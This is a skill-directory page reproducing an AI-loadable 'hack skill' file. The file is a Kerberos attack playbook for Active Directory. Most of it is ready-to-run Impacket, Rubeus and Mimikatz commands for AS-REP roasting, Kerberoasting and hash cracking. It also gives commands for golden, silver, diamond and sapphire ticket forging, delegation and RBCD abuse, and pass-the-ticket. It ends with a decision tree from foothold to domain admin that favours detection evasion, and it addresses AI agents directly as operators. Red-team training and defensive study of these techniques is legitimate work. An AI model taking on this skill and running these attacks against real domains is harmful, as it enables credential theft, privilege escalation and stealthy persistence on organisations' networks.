active-directory-kerberos-attacks

仓库: yaklang/hack-skills
安装量: 541
排名: #6553

安装

npx skills add https://github.com/yaklang/hack-skills --skill active-directory-kerberos-attacks
SKILL: Kerberos Attack Playbook — Expert AD Attack Guide
AI LOAD INSTRUCTION
Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs. 0. RELATED ROUTING Before going deep, consider loading: active-directory-acl-abuse for ACL-based AD attacks often chained with Kerberos active-directory-certificate-services for ADCS-based persistence (golden certificate) ntlm-relay-coercion for NTLM relay attacks that complement Kerberos abuse windows-lateral-movement after obtaining tickets for lateral movement Advanced Reference Also load KERBEROS_ATTACK_CHAINS.md when you need: Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay End-to-end scenarios from foothold to domain admin Chained delegation attack flows 1. KERBEROS AUTHENTICATION PRIMER Client KDC (DC) Service │ │ │ │── AS-REQ ────────→│ │ (1) Request TGT with user creds │←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash) │ │ │ │── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket │←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash) │ │ │ │── AP-REQ ─────────────────────────────→│ (5) Present TGS to service │←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional) 2. AS-REP ROASTING Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password. Enumerate Vulnerable Users

Impacket — from Linux

GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt

Impacket — with domain creds (enumerate automatically)

GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request

Rubeus — from Windows (domain-joined)

Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

PowerView — enumerate users

Get-DomainUser -PreauthNotRequired | Select-Object samaccountname Crack AS-REP Hash

Hashcat mode 18200

hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule

John

john asrep.txt --wordlist = rockyou.txt 3. KERBEROASTING Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash. Request Service Tickets

Impacket

GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt

Rubeus (from Windows)

Rubeus.exe kerberoast /outfile:tgs.txt

Rubeus — target specific SPN / high-value accounts

Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt

PowerView + manual request

Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com" Crack TGS Hash

Hashcat mode 13100 (RC4) or 19700 (AES)

hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule

RC4 tickets crack much faster than AES256 — target RC4 if possible

Rubeus: /tgtdeleg forces RC4 on some configs

Rubeus.exe kerberoast /tgtdeleg 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE Golden Ticket Forge TGT using the krbtgt hash → impersonate any user, including non-existent ones.

Impacket — forge golden ticket

ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21- .. . -domain DOMAIN.COM administrator

Mimikatz

kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21- .. . /krbtgt:KRBTGT_HASH /ptt

Rubeus

Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-
..
. /ptt
Prerequisites
krbtgt NTLM hash (from DCSync or NTDS.dit)
Persistence
Valid until krbtgt password is changed twice Silver Ticket Forge TGS using the service account's hash → access specific service only, no KDC interaction.

Impacket — forge silver ticket for CIFS (file share)

ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21- .. . -domain DOMAIN.COM -spn cifs/target.domain.com administrator

Mimikatz

kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21- .. . /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt Target Service SPN Format Use Case File shares cifs/host Access SMB shares WinRM http/host Remote PowerShell LDAP ldap/dc DCSync-like queries MSSQL MSSQLSvc/host:1433 Database access Exchange http/mail.domain.com Mailbox access Diamond Ticket Modify a legitimately issued TGT → harder to detect than golden ticket.

Rubeus — request real TGT then modify PAC

Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
Advantage
The ticket's metadata (timestamps, enc type) matches a real TGT issuance. Sapphire Ticket Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.

Rubeus

Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
Advantage
PAC is a genuine copy from KDC, making detection extremely difficult. 5. DELEGATION ATTACKS Unconstrained Delegation Hosts with unconstrained delegation store user TGTs in memory.

Enumerate (PowerView)

Get-DomainComputer -Unconstrained | Select-Object dnshostname

Coerce admin authentication → capture TGT (Rubeus monitor mode)

Rubeus.exe monitor /interval:5 /nowrap

Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured

SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com Constrained Delegation (S4U2Proxy)

Enumerate

Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto

S4U2Self + S4U2Proxy → get TGS for allowed service as any user

getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP

Rubeus

Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt Resource-Based Constrained Delegation (RBCD) Requires write access to msDS-AllowedToActOnBehalfOfOtherIdentity on the target.

1. Create or control a computer account (MAQ > 0)

addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password

2. Set RBCD on target

rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password

3. S4U2Self + S4U2Proxy from controlled account

getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/ 'FAKE$' : 'P@ss123' -dc-ip DC_IP

4. Use the ticket

export KRB5CCNAME = administrator.ccache psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM 6. PASS-THE-TICKET & OVERPASS-THE-HASH Pass-the-Ticket

Impacket — use .ccache ticket

export KRB5CCNAME = /path/to/ticket.ccache psexec.py -k -no-pass DOMAIN/administrator@target.domain.com

Mimikatz — inject .kirbi ticket into session

kerberos::ptt ticket.kirbi

Rubeus

Rubeus.exe ptt /ticket:base64_ticket_blob Overpass-the-Hash (Pass-the-Key) Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).

Impacket

getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP export KRB5CCNAME = user.ccache

Rubeus (from Windows)

Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt

Mimikatz

sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe 7. KERBEROS DOUBLE HOP PROBLEM When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default. Solutions Method How Risk CredSSP Sends actual credentials to B Credential exposure Unconstrained delegation on B B stores A's TGT Over-privileged Constrained delegation B allowed to delegate to C Preferred — scoped RBCD C trusts B to delegate Modern, flexible Invoke-Command nested -Credential param in nested session Exposes password in script 8. KERBEROS ATTACK DECISION TREE AD environment — targeting Kerberos │ ├── Have domain user creds? │ ├── Kerberoast → crack service account hashes (§3) │ ├── Enumerate users without preauth → AS-REP roast (§2) │ ├── Enumerate delegation → unconstrained/constrained/RBCD (§5) │ └── Enumerate SPNs for high-value accounts │ ├── Have service account hash? │ ├── Silver ticket for that service (§4) │ └── If constrained delegation → S4U2Proxy chain (§5) │ ├── Have krbtgt hash? │ ├── Golden ticket → any user, any service (§4) │ ├── Diamond ticket → stealthier forging (§4) │ └── Sapphire ticket → hardest to detect (§4) │ ├── Compromised host with unconstrained delegation? │ ├── Monitor for incoming TGTs (Rubeus monitor) │ ├── Coerce DC authentication (PrinterBug/PetitPotam) │ └── Capture DC TGT → DCSync │ ├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity? │ └── RBCD attack (§5) → create machine account + delegate │ ├── Have NTLM hash but need Kerberos auth? │ └── Overpass-the-Hash → request TGT (§6) │ └── Have .kirbi / .ccache ticket? └── Pass-the-Ticket → use directly (§6)

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